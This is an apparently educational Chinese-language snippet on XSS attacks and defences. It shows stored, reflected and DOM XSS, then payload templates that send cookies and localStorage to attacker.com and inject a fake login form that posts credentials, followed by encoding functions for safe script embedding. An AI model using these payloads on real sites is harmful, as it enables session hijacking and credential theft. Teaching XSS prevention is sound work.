XSS 攻击与防护

// 存储型 XSS
// 恶意评论
const maliciousComment = '<script>alert("XSS")</script>';
// 存储到数据库
saveComment(maliciousComment);

// 其他用户访问时
function displayComments() {
  comments.forEach(comment => {
    // 不安全的渲染：把数据当 HTML 解析
    document.getElementById('comments').innerHTML = comment;
  });
}

// 反射型 XSS
// 恶意 URL
const maliciousURL = 'https://example.com/search?q=<script>alert("XSS")</script>';
// 服务器反射
function search(q) {
  return `Search results for: ${q}`;
}

// DOM 型 XSS
// 不安全的 DOM 操作
function updateContent() {
  const userInput = getUserInput();
  document.getElementById('content').innerHTML = userInput;
}

// 恶意输入：利用 img 的 onerror 绕过 script 标签过滤
const maliciousInput = '<img src=x onerror="alert(\'XSS\')">';
updateContent(maliciousInput);

// 窃取 Cookie
const maliciousScript = `
  <script>
    // 窃取所有 cookie
    const cookies = document.cookie;

    // 发送到攻击者服务器
    fetch('https://attacker.com/steal', {
      method: 'POST',
      body: JSON.stringify({ cookies }),
      headers: { 'Content-Type': 'application/json' }
    });
  </script>
`;

// 窃取本地存储
const stealLocalStorage = `
  <script>
    const localStorageData = {};
    for (let i = 0; i < localStorage.length; i++) {
      const key = localStorage.key(i);
      localStorageData[key] = localStorage.getItem(key);
    }

    fetch('https://attacker.com/steal', {
      method: 'POST',
      body: JSON.stringify({ localStorageData }),
      headers: { 'Content-Type': 'application/json' }
    });
  </script>
`;

// 钓鱼攻击
const phishingScript = `
  <script>
    // 创建虚假登录表单
    const fakeForm = document.createElement('form');
    fakeForm.method = 'POST';
    fakeForm.action = 'https://attacker.com/steal-credentials';

    const usernameInput = document.createElement('input');
    usernameInput.name = 'username';
    usernameInput.placeholder = 'Username';

    const passwordInput = document.createElement('input');
    passwordInput.name = 'password';
    passwordInput.type = 'password';
    passwordInput.placeholder = 'Password';

    const submitButton = document.createElement('button');
    submitButton.type = 'submit';
    submitButton.textContent = 'Login';

    fakeForm.appendChild(usernameInput);
    fakeForm.appendChild(passwordInput);
    fakeForm.appendChild(submitButton);

    document.body.appendChild(fakeForm);
  </script>
`;

// JS 字符串上下文编码：非字母数字转 \uHHHH，并特别处理 </ 与行分隔符
function encodeForJS(str) {
  return String(str).replace(/[^a-zA-Z0-9]/g, function (c) {
    const code = c.charCodeAt(0);
    // 特殊：U+2028/U+2029 会被 JS 当作换行导致语法错误/注入
    return '\\u' + ('0000' + code.toString(16)).slice(-4);
  });
}

// 在页面注水（hydration）数据时，绝不要直接字符串拼接：
// 危险：<script>var data = "USERDATA"</script>
//   USERDATA = '";alert(1);//' 即可逃逸

// 正确：用 JSON.stringify 并转义 HTML 敏感字符，防止 </script> 与 U+2028
function safeJsonForScript(obj) {
  return JSON.stringify(obj)
    .replace(/</g, '\\u003C')
    .replace(/>/g, '\\u003E')
    .replace(/&/g, '\\u0026')
    .replace(/\u2028/g, '\\u2028')
    .replace(/\u2029/g, '\\u2029');
}
// 用法：<script>window.__DATA__ = ${safeJsonForScript(data)}</script>